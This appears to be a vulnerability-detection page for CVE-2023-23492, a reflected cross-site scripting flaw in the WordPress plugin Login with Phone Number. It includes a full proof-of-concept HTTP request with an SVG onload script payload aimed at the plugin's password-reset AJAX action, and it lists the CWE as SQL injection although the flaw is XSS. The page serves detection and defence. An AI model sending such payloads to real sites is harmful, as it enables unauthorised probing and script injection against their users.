🔙 목록으로 돌아가기

CVE-2023-23492: Login with Phone Number - Cross-Site Scripting

TitleLogin with Phone Number - Cross-Site Scripting
Authorr3Y3r53
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the theft of sensitive user information or unauthorized actions.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.86984
CVE IDCVE-2023-23492
CWE IDCWE-89
Tags cve2023 cve login-with-phonenumber wordpress wp wp-plugin xss tenable idehweb vuln

🔍 Vulnerability Description

Login with Phone Number, versions < 1.4.2, is affected by an reflected XSS vulnerability in the login-with-phonenumber.php’ file in the ‘lwp_forgot_password()’ function.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-23492.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-23492.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A